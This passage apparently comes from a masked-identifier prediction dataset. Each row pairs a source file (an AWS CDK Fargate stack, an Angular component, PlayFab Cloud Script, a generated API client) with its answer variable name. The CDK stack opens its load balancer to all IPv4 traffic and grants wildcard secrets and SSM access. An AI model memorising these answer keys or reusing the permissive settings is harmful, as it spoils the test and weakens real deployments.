  //       '       }',
  //       '  }',
  //       '}',
  //     ].join('\n'),
  //     variables: { titleSlug: slug },
  //     operationName: 'getQuestionDetail',
  //   };

  //   return this.httpClient.request('post', '/graphql/' + slug, {
  //     body,
  //     headers,
  //     withCredentials: true,
  //   });
  // }
}
",filteredInfo
444,"// Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
// SPDX-License-Identifier: MIT-0

import {Construct} from 'constructs';
import * as route53 from 'aws-cdk-lib/aws-route53';
import * as ec2 from 'aws-cdk-lib/aws-ec2'
import * as iam from 'aws-cdk-lib/aws-iam'
import * as rds from 'aws-cdk-lib/aws-rds'
import * as s3 from 'aws-cdk-lib/aws-s3'
import * as acm from 'aws-cdk-lib/aws-certificatemanager'
import * as ecs from 'aws-cdk-lib/aws-ecs'
import * as elbv2 from 'aws-cdk-lib/aws-elasticloadbalancingv2'
import * as ssm from 'aws-cdk-lib/aws-ssm'
import * as ecr from 'aws-cdk-lib/aws-ecr'
import * as route53targets from 'aws-cdk-lib/aws-route53-targets'
import {Duration, StackProps, Stack, RemovalPolicy, CfnOutput} from 'aws-cdk-lib';


export interface FargateAppStackProps extends StackProps {
  readonly hostedZone?: route53.IHostedZone;
  readonly vpc: ec2.IVpc;
  readonly dbConnectionSg: ec2.ISecurityGroup;
  readonly dbCluster: rds.IDatabaseCluster;
  readonly transferS3Bucket: s3.IBucket;
  readonly transferPublicKeysS3Bucket: s3.IBucket;
    
}

export class FargateAppConstruct extends Construct {
  public readonly loadBalancerARecord: route53.ARecord;
  public readonly albDomainCert?: acm.ICertificate;
  public readonly fargateService: ecs.FargateService;

  constructor(scope: Construct, id: string, props: FargateAppStackProps) {
    super(scope, id);

    const prefix = this.node.tryGetContext('PREFIX');
    const domainName = this.node.tryGetContext('DOMAIN_NAME');
    const certificateArn = this.node.tryGetContext('CERTIFICATE_WILDCARD_ARN');


/****ECR******* */

const ecrRepository = new ecr.Repository(this, ""ecr"", {
  removalPolicy: RemovalPolicy.DESTROY
})

new ssm.StringParameter(this, ""ecr-uri"", {
  dataType: ssm.ParameterDataType.TEXT,
  parameterName: ""/Applications/FileTransferAdminPortal/webapp-ecr-uri"",
  stringValue: ecrRepository.repositoryUri
})


const account = Stack.of(this).account
const region = Stack.of(this).region
const ecrRepoEndpoint = account + "".dkr.ecr."" + region +"".amazonaws.com""


new ssm.StringParameter(this, ""ecr-endpoint"", {
  dataType: ssm.ParameterDataType.TEXT,
  parameterName: ""/Applications/FileTransferAdminPortal/webapp-ecr-endpoint"",
  stringValue: ecrRepoEndpoint
})



    const appTaskExecutionRole = new iam.Role(this, 'AppTaskExecutionRole', {
      assumedBy: new iam.ServicePrincipal('ecs-tasks.amazonaws.com'),
    });
    appTaskExecutionRole.addManagedPolicy(iam.ManagedPolicy.fromAwsManagedPolicyName('service-role/AmazonECSTaskExecutionRolePolicy'));

    const appTaskRole = new iam.Role(this, 'AppTaskRole', {
      assumedBy: new iam.ServicePrincipal('ecs-tasks.amazonaws.com'),
    });


    props.transferS3Bucket.grantReadWrite(appTaskRole);
    props.transferS3Bucket.grantDelete(appTaskRole);
    props.transferPublicKeysS3Bucket.grantReadWrite(appTaskRole);

    appTaskRole.addManagedPolicy(iam.ManagedPolicy.fromAwsManagedPolicyName('AWSTransferFullAccess'));
    appTaskRole.addManagedPolicy(iam.ManagedPolicy.fromAwsManagedPolicyName('CloudWatchLogsFullAccess'));
    appTaskRole.addManagedPolicy(iam.ManagedPolicy.fromAwsManagedPolicyName('CloudWatchEventsFullAccess'));
    appTaskRole.addManagedPolicy(iam.ManagedPolicy.fromAwsManagedPolicyName('AmazonSESFullAccess'));

    const appTaskRolePolicy = new iam.Policy(this, 'AppTaskRolePolicy', {
      statements: [
        new iam.PolicyStatement({
          effect: iam.Effect.ALLOW,
          resources: ['*'],
          actions: ['secretsmanager:GetSecretValue', 'secretsmanager:RotateSecret'],
        }),
        new iam.PolicyStatement({
          effect: iam.Effect.ALLOW,
          resources: ['*'],
                actions: ['rds-db:connect'],
        }),
        new iam.PolicyStatement({
          effect: iam.Effect.ALLOW,
          resources: ['*'],
          actions: [
            'ssm:Describe*',
            'ssm:Get*',
            'ssm:List*',
          ],
        }),
      ],
    });

    appTaskRolePolicy.attachToRole(appTaskRole);

    const ecsCluster = new ecs.Cluster(this, 'EcsCluster', {
      vpc: props.vpc,
    });

    const fargateServiceSg = new ec2.SecurityGroup(this, 'FargateServiceSg', {
      vpc: props.vpc,
      allowAllOutbound: true,
    });

    fargateServiceSg.applyRemovalPolicy(RemovalPolicy.DESTROY);

   

    const  [MASK]  = ec2.SecurityGroup.fromSecurityGroupId(
      this,
      'DbImportedSecurityGroupAlbAuth',
      props.dbConnectionSg.securityGroupId,
      { allowAllOutbound: true, mutable: true },
    );

     [MASK] .addIngressRule(
      fargateServiceSg,
      ec2.Port.tcp(3306),
    );

    const fargateTaskDefinition = new ecs.FargateTaskDefinition(this, 'FargateTaskDefinition', {
      family: 'FargateTaskDefinition',
      memoryLimitMiB: 7168,
      cpu: 1024,
      executionRole: appTaskExecutionRole,
      taskRole: appTaskRole,
    });

  const containerImage = ecs.ContainerImage.fromEcrRepository(ecrRepository)
     
    const taskContainer = fargateTaskDefinition.addContainer('TaskContainer', {
      image: containerImage,
      logging: ecs.LogDrivers.awsLogs({
        streamPrefix: 'fap-web-app',
        logRetention: 30,
      }),
    
    });
  
    this.fargateService = new ecs.FargateService(this, 'FargateService', {
      cluster: ecsCluster,
      circuitBreaker: {
        rollback: true,
      },
      securityGroups: [fargateServiceSg],
      desiredCount: 0,
      taskDefinition: fargateTaskDefinition,
    });

  
    taskContainer.addPortMappings({ containerPort: 5000 });

    const albSecurityGroup = new ec2.SecurityGroup(this, 'AlbSecurityGroup', {
      vpc: props.vpc,
      allowAllOutbound: true,
    });

    albSecurityGroup.applyRemovalPolicy(RemovalPolicy.DESTROY);

    albSecurityGroup.addIngressRule(
       ec2.Peer.anyIpv4(),
      ec2.Port.allTraffic(),
    );

    const fargateServiceAlb = new elbv2.ApplicationLoadBalancer(this, 'FargateServiceAlb', {
      vpc: props.vpc,
      securityGroup: albSecurityGroup,
      vpcSubnets: { subnetType: ec2.SubnetType.PUBLIC, onePerAz: true },
      internetFacing: true,
    });

    const albAccessLoggingBucket = new s3.Bucket(this, 'AlbAccessLoggingBucket', {
      removalPolicy: RemovalPolicy.DESTROY,
      autoDeleteObjects: true,
    });

    fargateServiceAlb.logAccessLogs(albAccessLoggingBucket, `${prefix.toLowerCase()}-alb-access-logs`);

       const httpsListener = fargateServiceAlb.addListener('HttpsListener', {
        protocol: elbv2.ApplicationProtocol.HTTPS,
        port: 443,
        sslPolicy: elbv2.SslPolicy.FORWARD_SECRECY_TLS12_RES_GCM,
        certificates: [{ certificateArn: certificateArn}],

      });
      
      

      const webTargetGroup = new elbv2.ApplicationTargetGroup(this, 'WebTargetGroup', {
        targetType: elbv2.TargetType.IP,
        port: 5000,
        vpc: props.vpc,
        protocol: elbv2.ApplicationProtocol.HTTP,
        targets: [this.fargateService],
        stickinessCookieDuration: Duration.minutes(30),
      });



        webTargetGroup.configureHealthCheck({
        path: '/login',
        protocol: elbv2.Protocol.HTTP,
        unhealthyThresholdCount: 2,
        timeout: Duration.seconds(30),
        port: '5000',
        interval: Duration.seconds(60),
        healthyThresholdCount: 5,
        healthyHttpCodes: '200,302',
      });

      httpsListener.addTargetGroups('alb-listener-target-group', {
        targetGroups: [webTargetGroup],
      });

      const webListenerAction = elbv2.ListenerAction.forward([webTargetGroup]);

      httpsListener.addAction('WebBalancing', {
        action: webListenerAction,
      });

      const loadBalancerTarget = new route53targets.LoadBalancerTarget(
        fargateServiceAlb,
      );
      const loadBalancerDNS = `filetransferadminportal.${domainName}`;
      
     const myDomainName = this.node.tryGetContext('DOMAIN_NAME');
     const hostedZone = route53.HostedZone.fromLookup(
            this,
            'HostedZone',
            {domainName: myDomainName }
            );
          
      new route53.ARecord(this, 'AlbServerEndpointCnameRecord', {
        zone: hostedZone,
        target: route53.RecordTarget.fromAlias(loadBalancerTarget),
        recordName: loadBalancerDNS,
      });
      new CfnOutput(this, 'UI_URL', { 
        value: 'https://' + loadBalancerDNS + ""/login"",
        description: 'Web App Endpoint'
        
        
      });
    
  }
}
",dbImportedSecurityGroupAlbAuth
445,"/**
 * Licensed to the Apache Software Foundation (ASF) under one
 * or more contributor license agreements.  See the NOTICE file
 * distributed with this work for additional information
 * regarding copyright ownership.  The ASF licenses this file
 * to you under the Apache License, Version 2.0 (the
 * ""License""); you may not use this file except in compliance
 * with the License.  You may obtain a copy of the License at
 * <p>
 * http://www.apache.org/licenses/LICENSE-2.0
 * <p>
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
import { Component, OnInit, ViewChild } from '@angular/core';
import { Router } from '@angular/router';
import { Subscription } from 'rxjs/Subscription';
import { Select2OptionData, Select2Component } from 'ng2-select2';
import { ToastyService } from 'ng2-toasty';

import { ArticleModel } from '../../../../app/shared/model/article/article.model';
import { UserModel } from '../../../../app/shared/model/user/user.model';
import { CookieUtils } from '../../../shared/utils/cookie.util';
import { CommonConfig } from '../../../../config/common.config';
import { ArticleService } from '../../../../services/article.service';
import { ModalDirective } from 'ngx-bootstrap/modal';
import { ArticleTypeService } from '../../../../services/article.type.service';
import { ArticleTagService } from '../../../../services/article.tag.service';
import { ArticleTagModel } from '../../../shared/model/article/article.tag.model';
import { CodeConfig } from '../../../../config/code.config';
import { SpaceService } from '../../../../services/space.service';
import { CommonPageModel } from '../../../shared/model/result/page.model';

@Component({
    selector: 'wikift-article-create',
    templateUrl: 'create.article.component.html'
})

export class CreateArticleComponent implements OnInit {

    // 选择标签配置
    multipleOptions: any = {
        multiple: true,
        dropdownAutoWidth: true,
        placeholder: '请选择文章标签',
        width: '100%',
        containerCssClass: 'select2-selection--alt',
        dropdownCssClass: 'select2-dropdown--alt'
    };
    articleModel: ArticleModel;
    // 文章类型
    public articleType;
    // 文章标签, 加载框
    public articleTags: Array<Select2OptionData>;
    public articleTagsBusy: Subscription;
    @ViewChild('articleTagFields')
    public articleTagFields: Select2Component;
    public tagsValue: any = [];
    public articleTagsValue: any = [];
    // 空间列表
    private spaces;
    // 分页数据
    page: CommonPageModel;
    // 当前页数
    currentPage: number;

    // 文章属性框
    @ViewChild('settingAritcleModel')
    public settingAritcleModel: ModalDirective;

    constructor(private router: Router,
        private articleService: ArticleService,
        private articleTypeService: ArticleTypeService,
        private articleTagService: ArticleTagService,
        private toastyService: ToastyService,
        private spaceService: SpaceService) {
        this.page = new CommonPageModel();
        this.page.size = 3;
        this.page.number = 0;
    }

    ngOnInit() {
        this.articleModel = new ArticleModel();
        this.initArticelType();
    }

    initArticelType() {
        this.articleTypeService.list().subscribe(
            result => {
                this.articleType = result.data;
            }
        );
    }

    initArticleTag() {
        this.articleTagsBusy = this.articleTagService.list().subscribe(
            result => {
                if (result.data) {
                    const tags = [];
                    result.data.content.forEach(element => {
                        const tag = {
                            'id': element.id,
                            'text': element.title
                        };
                        tags.push(tag);
                    });
                    this.articleTags = tags;
                }
            }
        );
    }

    initSpace(page: CommonPageModel) {
        this.articleTagsBusy = this.spaceService.getAllSpacesByPublicOrUser(CookieUtils.getUser().id, page).subscribe(
            result => {
                this.spaces = result.data.content;
                this.page = CommonPageModel.getPage(result.data);
                this.currentPage = this.page.number;
            }
        );
    }

    // 获取编辑器内容
    getData(value) {
        this.articleModel.content = value;
    }

    showSettingModel() {
        this.settingAritcleModel.show();
    }

    published() {
        const  [MASK]  = new UserModel();
        const user = JSON.parse(CookieUtils.getBy(CommonConfig.AUTH_USER_INFO));
         [MASK] .id = user.id;
        this.articleModel.user =  [MASK] ;
        this.articleModel.articleTags = new Array();
        this.articleTagsValue.value.forEach(e => {
            const articleTag = new ArticleTagModel();
            articleTag.id = e;
            this.articleModel.articleTags.push(articleTag);
        });
        this.articleService.save(this.articleModel).subscribe(
            result => {
                if (result.code === CodeConfig.SUCCESS) {
                    this.settingAritcleModel.hide();
                    this.toastyService.info('创建文章' + this.articleModel.title + '成功!!!');
                    // 跳转到首页
                    this.router.navigate(['/']);
                } else {
                    this.toastyService.info('参数填写错误');
                }
            }
        );
    }

    showArticleTagsStep(event) {
        this.initArticleTag();
    }

    showSpaceStep(event) {
        this.initSpace(this.page);
    }

    tagChanged(data: { value: string[] }) {
        this.articleTagsValue = data;
    }

    pageChanged(event: any) {
        this.page.number = event.page - 1;
        this.spaceService.getAllSpacesByPublicOrUser(CookieUtils.getUser().id, this.page).subscribe(
            result => {
                this.spaces = result.data.content;
                this.page = CommonPageModel.getPage(result.data);
            }
        );
    }

}
",userModel
446,"
// This is a Cloud Script function. ""args"" is set to the value of the ""FunctionParameter"" 
// parameter of the ExecuteCloudScript API.
// (https://api.playfab.com/Documentation/Client/method/ExecuteCloudScript)
// ""context"" contains additional information when the Cloud Script function is called from a PlayStream action.

var GetFishingGameConfig = function (ars: any, context: IPlayFabContext): IFishingGameConfig {
    var titleData = server.GetTitleData({ Keys: [""FishingTournamentData"", ""FishingGameConfig""] }).Data; 
    

    var baseGameConfig: IFishingGameConfig = JSON.parse(titleData[""FishingGameConfig""]);
    var tournamentData: IFishingTournamentData = JSON.parse(titleData[""FishingTournamentData""]); 

    if (isActiveTournament()) {
        log.info(""Tournament game config data returned"", tournamentData.gameConfig);
        return tournamentData.gameConfig;
    }
    else {
        log.info(""Base game config data returned"", baseGameConfig);
        return baseGameConfig;
    }

}


interface IFishingTournamentData {
    startDate: string,
    endDate: string,
    name: string,
    description: string,
    isProcessed?: boolean,
    gameConfig: IFishingGameConfig
}

var isActiveTournament = function (): boolean {
    var titleData = server.GetTitleData({ Keys: [""FishingTournamentData"", ""FishingGameConfig""] }).Data; 
    var tournamentData: IFishingTournamentData = JSON.parse(titleData[""FishingTournamentData""]); 

    var  [MASK]  = Date.now();
    var startDate = Date.parse(tournamentData.startDate);
    var endDate = Date.parse(tournamentData.endDate);
    
    return ( [MASK]  >= startDate &&  [MASK]  <= endDate);    
}

interface IFishingGameConfig {
    minFish: number,
    maxFish: number,
    minRods: number,
    maxRods: number
}


var ProcessTournamentFish = function (args: any, context: IPlayFabContext) {

    //log.debug(""Arguments:"", { args: args, context: context }); 

    // if tournament is going on
    if (isActiveTournament()) {        
        var countTournamentFishCaught = context.playStreamEvent[""StatisticValue""] - context.playStreamEvent[""StatisticPreviousValue""];

        server.UpdatePlayerStatistics({ PlayFabId: currentPlayerId, Statistics: [{ StatisticName: ""FishCaughtTournament"", Value: countTournamentFishCaught }] });

        log.debug(""Fish To Count"", { FishCaught: countTournamentFishCaught });
    }
}
    

handlers[""GetFishingGameConfig""] = GetFishingGameConfig;
handlers[""ProcessTournamentFish""] = ProcessTournamentFish;
",curDate
447,"/**
 *
 * Copyright 2023 Beijing Volcano Engine Technology Ltd.
 * Copyright 2023 Guangzhou Laboratory
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/* eslint-disable */
/* tslint:disable */
/*
 * ---------------------------------------------------------------
 * ## THIS FILE WAS GENERATED VIA SWAGGER-TYPESCRIPT-API        ##
 * ##                                                           ##
 * ## AUTHOR: acacode                                           ##
 * ## SOURCE: https://github.com/acacode/swagger-typescript-api ##
 * ---------------------------------------------------------------
 */

export interface ApiserverClientConfig {
  notebook?: {
    officialImages?: NotebookImage[];
    resourceOptions?: NotebookResourceSize[];
  };
  storage?: {
    fsPath?: string[];
  };
}

export interface ErrorsAppError {
  code?: number;
  message?: string;
}

export interface GithubComBioOSBioosInternalContextSubmissionInterfaceHertzHandlersWorkflowVersion {
  id?: string;
  versionID?: string;
}

export interface GithubComBioOSBioosInternalContextWorkspaceInterfaceHertzHandlersWorkflowVersion {
  createdAt?: string;
  files?: HandlersWorkflowFileInfo[];
  graph?: string;
  id?: string;
  inputs?: HandlersWorkflowParam[];
  language?: string;
  languageVersion?: string;
  mainWorkflowPath?: string;
  message?: string;
  metadata?: Record<string, string>;
  outputs?: HandlersWorkflowParam[];
  source?: string;
  status?: string;
  updatedAt?: string;
}

export interface HandlersCreateSubmissionRequest {
  description?: string;
  entity?: HandlersEntity;
  exposedOptions?: HandlersExposedOptions;
  inOutMaterial?: HandlersInOutMaterial;
  name?: string;
  type?: string;
  workflowID?: string;
  workspaceID?: string;
}

export interface HandlersCreateSubmissionResponse {
  id?: string;
}

export interface HandlersCreateWorkspaceRequest {
  description?: string;
  name?: string;
  storage?: HandlersWorkspaceStorage;
}

export interface HandlersCreateWorkspaceResponse {
  id?: string;
}

export interface HandlersDataModel {
  id?: string;
  name?: string;
  rowCount?: number;
  type?: string;
}

export interface HandlersEntity {
  dataModelID?: string;
  dataModelRowIDs?: string[];
  /**
   * * 输入配置，json 序列化后的 string
   * 	  采用 json 序列化原因基于以下两点考虑：
   * 	  - thrift/接口设计层面不允许 `Value` 类型不确定
   * 	  - 在 inputs/outputs 层级进行序列化可使得 `bioos-server` 不处理 `Inputs`/`Outputs`(非 `this.xxx` 索引的输入) 就入库/提交给计算引擎，达到透传效果
   */
  inputsTemplate?: string;
  /**
   * * 输出配置，json 序列化后的 string
   * 	  采用 json 序列化原因基于以下两点考虑：
   * 	  - thrift/接口设计层面不允许 `Value` 类型不确定
   * 	  - 在 inputs/outputs 层级进行序列化可使得 `bioos-server` 不处理 `Inputs`/`Outputs`(非 `this.xxx` 索引的输入) 就入库/提交给计算引擎，达到透传效果
   */
  outputsTemplate?: string;
}

export interface HandlersExposedOptions {
  readFromCache?: boolean;
}

export interface HandlersGetDataModelResponse {
  dataModel?: HandlersDataModel;
  headers?: string[];
}

export interface HandlersGetWorkspaceByIdResponse {
  createTime?: number;
  description?: string;
  id?: string;
  name?: string;
  storage?: HandlersWorkspaceStorage;
  updateTime?: number;
}

export interface HandlersImportWorkspaceResponse {
  id?: string;
}

export interface HandlersInOutMaterial {
  inputsMaterial?: string;
  outputsMaterial?: string;
}

export interface HandlersListAllDataModelRowIDsResponse {
  rowIDs?: string[];
}

export interface HandlersListDataModelRowsResponse {
  headers?: string[];
  page?: number;
  rows?: string[][];
  size?: number;
  total?: number;
}

export interface HandlersListDataModelsResponse {
  Items?: HandlersDataModel[];
}

export interface HandlersListRunsResponse {
  items?: HandlersRunItem[];
  page?: number;
  size?: number;
  total?: number;
}

export interface HandlersListSubmissionsResponse {
  items?: HandlersSubmissionItem[];
  page?: number;
  size?: number;
  total?: number;
}

export interface HandlersListTasksResponse {
  items?: HandlersTaskItem[];
  page?: number;
  size?: number;
  total?: number;
}

export interface HandlersListWorkspacesResponse {
  items?: HandlersWorkspaceItem[];
  page?: number;
  size?: number;
  total?: number;
}

export interface HandlersNFSWorkspaceStorage {
  mountPath?: string;
}

export interface HandlersPatchDataModelRequest {
  async?: boolean;
  headers?: string[];
  name?: string;
  rows?: string[][];
  workspaceID?: string;
}

export interface HandlersPatchDataModelResponse {
  id?: string;
}

export interface HandlersRunItem {
  duration?: number;
  engineRunID?: string;
  finishTime?: number;
  id?: string;
  inputs?: string;
  log?: string;
  message?: string;
  name?: string;
  outputs?: string;
  startTime?: number;
  status?: string;
  taskStatus?: HandlersStatus;
}

export interface HandlersStatus {
  cancelled?: number;
  cancelling?: number;
  count?: number;
  failed?: number;
  initializing?: number;
  pending?: number;
  queued?: number;
  running?: number;
  succeeded?: number;
}

export interface HandlersSubmissionItem {
  description?: string;
  duration?: number;
  entity?: HandlersEntity;
  exposedOptions?: HandlersExposedOptions;
  finishTime?: number;
  id?: string;
  inOutMaterial?: HandlersInOutMaterial;
  name?: string;
  runStatus?: HandlersStatus;
  startTime?: number;
  status?: string;
  type?: string;
  workflowVersion?: GithubComBioOSBioosInternalContextSubmissionInterfaceHertzHandlersWorkflowVersion;
}

export interface HandlersTaskItem {
  duration?: number;
  finishTime?: number;
  name?: string;
  runID?: string;
  startTime?: number;
  status?: string;
  stderr?: string;
  stdout?: string;
}

export interface HandlersUpdateWorkspaceRequest {
  description?: string;
  id?: string;
  name?: string;
}

export interface HandlersWorkflowFile {
  content?: string;
  createdAt?: string;
  id?: string;
  path?: string;
  updatedAt?: string;
  workflowVersionID?: string;
}

export interface HandlersWorkflowFileInfo {
  id?: string;
  path?: string;
}

export interface HandlersWorkflowItem {
  createdAt?: string;
  description?: string;
  id?: string;
  latestVersion?: GithubComBioOSBioosInternalContextWorkspaceInterfaceHertzHandlersWorkflowVersion;
  name?: string;
  updatedAt?: string;
}

export interface HandlersWorkflowParam {
  default?: string;
  name?: string;
  optional?: boolean;
  type?: string;
}

export interface HandlersWorkspaceItem {
  createTime?: number;
  description?: string;
  id?: string;
  name?: string;
  storage?: HandlersWorkspaceStorage;
  updateTime?: number;
}

export interface HandlersWorkspaceStorage {
  nfs?: HandlersNFSWorkspaceStorage;
}

export interface HandlersCreateWorkflowRequest {
  description?: string;
  id?: string;
  language: 'WDL';
  mainWorkflowPath: string;
  name: string;
  source: 'git';
  tag: string;
  token?: string;
  url: string;
  workspaceID?: string;
}

export interface HandlersCreateWorkflowResponse {
  id?: string;
}

export interface HandlersGetWorkflowFileResponse {
  file?: HandlersWorkflowFile;
}

export interface HandlersGetWorkflowResponse {
  workflow?: HandlersWorkflowItem;
}

export interface HandlersGetWorkflowVersionResponse {
  version?: GithubComBioOSBioosInternalContextWorkspaceInterfaceHertzHandlersWorkflowVersion;
}

export interface HandlersListNotebooksResponse {
  items?: HandlersNotebookItem[];
}

export interface HandlersListWorkflowFilesRequest {
  ids?: string;
  orderBy?: string;
  page?: number;
  size?: number;
  workflowID?: string;
  workflowVersionID?: string;
  workspaceID?: string;
}

export interface HandlersListWorkflowFilesResponse {
  items?: HandlersWorkflowFile[];
  page?: number;
  size?: number;
  total?: number;
  workflowID?: string;
  workspaceID?: string;
}

export interface HandlersListWorkflowVersionsResponse {
  items?: GithubComBioOSBioosInternalContextWorkspaceInterfaceHertzHandlersWorkflowVersion[];
  page?: number;
  size?: number;
  total?: number;
  workflowID?: string;
  workspaceID?: string;
}

export interface HandlersListWorkflowsResponse {
  items?: HandlersWorkflowItem[];
  page?: number;
  size?: number;
  total?: number;
}

export interface HandlersNotebookItem {
  contentLength?: number;
  name?: string;
  updateTime?: number;
}

export interface HandlersUpdateWorkflowRequest {
  description?: string;
  id?: string;
  language: 'WDL';
  mainWorkflowPath?: string;
  name?: string;
  source: 'git';
  tag?: string;
  token?: string;
  url?: string;
  workspaceID?: string;
}

export interface HertzCreateRequest {
  image?: string;
  resourceSize?: NotebookResourceSize;
}

export interface HertzCreateResponse {
  id?: string;
}

export interface HertzGetResponse {
  accessURL?: string;
  createTime?: number;
  id?: string;
  image?: string;
  resourceSize?: NotebookResourceSize;
  status?: string;
  updateTime?: number;
}

export interface HertzListResponseItem {
  createTime?: number;
  id?: string;
  image?: string;
  resourceSize?: NotebookResourceSize;
  status?: string;
  updateTime?: number;
}

export interface HertzUpdateSettingsRequest {
  image?: string;
  resourceSize?: NotebookResourceSize;
}

export interface NotebookGPU {
  /** float is for mgpu */
  card?: number;
  memory?: number;
  model?: string;
}

export interface NotebookIPythonNotebook {
  cells?: NotebookIPythonNotebookCell[];
  metadata?: NotebookIPythonNotebookMeta;
  /** @min 4 */
  nbformat: number;
  nbformat_minor?: number;
}

export interface NotebookIPythonNotebookCell {
  attachments?: Record<string, any>;
  cell_type: 'code' | 'markdown' | 'raw';
  execution_count?: number;
  id?: string;
  metadata?: Record<string, any>;
  outputs?: NotebookIPythonNotebookCellOutput[];
  source?: string[];
}

export interface NotebookIPythonNotebookCellOutput {
  data?: Record<string, any>;
  /** In errors */
  ename?: string;
  evalue?: string;
  /** in execute result; used to be pyout / prompt_number */
  execute_count?: number;
  /** in display data */
  metadata?: Record<string, any>;
  name: string;
  output_type: 'stream' | 'display_data' | 'execute_result' | 'error';
  text?: string[];
  traceback?: string[];
}

export interface NotebookIPythonNotebookKernelSpec {
  display_name?: string;
  language: 'python' | 'R';
  name: string;
}

export interface NotebookIPythonNotebookLanguageInfo {
  /**
   * codemirror_mode in docs is string but jupyter created is {""name"":""ipython"",...}
   * CodeMirrorMode string `json:""codemirror_mode""`
   */
  file_extension: string;
  mimetype: string;
  name: 'python' | 'R';
  pygments_lexer?: string;
  version: string;
}

export interface NotebookIPythonNotebookMeta {
  kernelspec?: NotebookIPythonNotebookKernelSpec;
  language_info?: NotebookIPythonNotebookLanguageInfo;
  max_cell_id?: number;
}

export interface NotebookImage {
  description?: string;
  image?: string;
  name?: string;
  updateTime?: string;
  version?: string;
}

export interface NotebookResourceSize {
  cpu?: number;
  disk?: number;
  gpu?: NotebookGPU;
  memory?: number;
}

export type QueryParamsType = Record<string | number, any>;
export type ResponseFormat = keyof Omit<Body, 'body' | 'bodyUsed'>;

export interface FullRequestParams extends Omit<RequestInit, 'body'> {
  /** set parameter to `true` for call `securityWorker` for this request */
  secure?: boolean;
  /** request path */
  path: string;
  /** content type of request body */
  type?: ContentType;
  /** query params */
  query?: QueryParamsType;
  /** format of response (i.e. response.json() -> format: ""json"") */
  format?: ResponseFormat;
  /** request body */
  body?: unknown;
  /** base url */
  baseUrl?: string;
  /** request cancellation token */
  cancelToken?: CancelToken;
}

export type RequestParams = Omit<
  FullRequestParams,
  'body' | 'method' | 'query' | 'path'
>;

export interface ApiConfig<SecurityDataType = unknown> {
  baseUrl?: string;
  baseApiParams?: Omit<RequestParams, 'baseUrl' | 'cancelToken' | 'signal'>;
  securityWorker?: (
    securityData: SecurityDataType | null,
  ) => Promise<RequestParams | void> | RequestParams | void;
  customFetch?: typeof fetch;
}

export interface HttpResponse<D extends unknown, E extends unknown = unknown>
  extends Response {
  data: D;
  error: E;
}

type CancelToken = Symbol | string | number;

export enum ContentType {
  Json = 'application/json',
  FormData = 'multipart/form-data',
  UrlEncoded = 'application/x-www-form-urlencoded',
  Text = 'text/plain',
}

export class HttpClient<SecurityDataType = unknown> {
  public baseUrl: string = '/';
  private securityData: SecurityDataType | null = null;
  private securityWorker?: ApiConfig<SecurityDataType>['securityWorker'];
  private abortControllers = new Map<CancelToken, AbortController>();
  private customFetch = (...fetchParams: Parameters<typeof fetch>) =>
    fetch(...fetchParams);

  private baseApiParams: RequestParams = {
    credentials: 'same-origin',
    headers: {},
    redirect: 'follow',
    referrerPolicy: 'no-referrer',
  };

  constructor(apiConfig: ApiConfig<SecurityDataType> = {}) {
    Object.assign(this, apiConfig);
  }

  public setSecurityData = (data: SecurityDataType | null) => {
    this.securityData = data;
  };

  protected encodeQueryParam(key: string, value: any) {
    const  [MASK]  = encodeURIComponent(key);
    return `${ [MASK] }=${encodeURIComponent(
      typeof value === 'number' ? value : `${value}`,
    )}`;
  }

  protected addQueryParam(query: QueryParamsType, key: string) {
    return this.encodeQueryParam(key, query[key]);
  }

  protected addArrayQueryParam(query: QueryParamsType, key: string) {
    const value = query[key];
    return value.map((v: any) => this.encodeQueryParam(key, v)).join('&');
  }

  protected toQueryString(rawQuery?: QueryParamsType): string {
    const query = rawQuery || {};
    const keys = Object.keys(query).filter(
      key => 'undefined' !== typeof query[key],
    );
    return keys
      .map(key =>
        Array.isArray(query[key])
          ? this.addArrayQueryParam(query, key)
          : this.addQueryParam(query, key),
      )
      .join('&');
  }

  protected addQueryParams(rawQuery?: QueryParamsType): string {
    const queryString = this.toQueryString(rawQuery);
    return queryString ? `?${queryString}` : '';
  }

  private contentFormatters: Record<ContentType, (input: any) => any> = {
    [ContentType.Json]: (input: any) =>
      input !== null && (typeof input === 'object' || typeof input === 'string')
        ? JSON.stringify(input)
        : input,
    [ContentType.Text]: (input: any) =>
      input !== null && typeof input !== 'string'
        ? JSON.stringify(input)
        : input,
    [ContentType.FormData]: (input: any) =>
      Object.keys(input || {}).reduce((formData, key) => {
        const property = input[key];
        formData.append(
          key,
          property instanceof Blob
            ? property
            : typeof property === 'object' && property !== null
            ? JSON.stringify(property)
            : `${property}`,
        );
        return formData;
      }, new FormData()),
    [ContentType.UrlEncoded]: (input: any) => this.toQueryString(input),
  };

  protected mergeRequestParams(
    params1: RequestParams,
    params2?: RequestParams,
  ): RequestParams {
    return {
      ...this.baseApiParams,
      ...params1,
      ...(params2 || {}),
      headers: {
        ...(this.baseApiParams.headers || {}),
        ...(params1.headers || {}),
        ...((params2 && params2.headers) || {}),
      },
    };
  }

  protected createAbortSignal = (
    cancelToken: CancelToken,
  ): AbortSignal | undefined => {
    if (this.abortControllers.has(cancelToken)) {
      const abortController = this.abortControllers.get(cancelToken);
      if (abortController) {
        return abortController.signal;
      }
      return void 0;
    }

    const abortController = new AbortController();
    this.abortControllers.set(cancelToken, abortController);
    return abortController.signal;
  };

  public abortRequest = (cancelToken: CancelToken) => {
    const abortController = this.abortControllers.get(cancelToken);

    if (abortController) {
      abortController.abort();
      this.abortControllers.delete(cancelToken);
    }
  };

  public request = async <T = any, E = any>({
    body,
    secure,
    path,
    type,
    query,
    format,
    baseUrl,
    cancelToken,
    ...params
  }: FullRequestParams): Promise<HttpResponse<T, E>> => {
    const secureParams =
      ((typeof secure === 'boolean' ? secure : this.baseApiParams.secure) &&
        this.securityWorker &&
        (await this.securityWorker(this.securityData))) ||
      {};
    const requestParams = this.mergeRequestParams(params, secureParams);
    const queryString = query && this.toQueryString(query);
